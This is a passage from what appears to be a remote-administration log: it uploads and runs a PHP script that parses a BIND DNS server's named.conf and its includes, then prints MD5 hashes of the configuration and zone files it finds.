MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 18:44:16: Establishing a connection
2026-04-24 18:44:16: 

PUT: /tmp/pkp825713

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 18:44:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp825713; rm /tmp/pkp825713'

2026-04-24 18:44:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 18:44:18: Establishing a connection
2026-04-24 18:44:18: 

PUT: /tmp/pkp383750

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
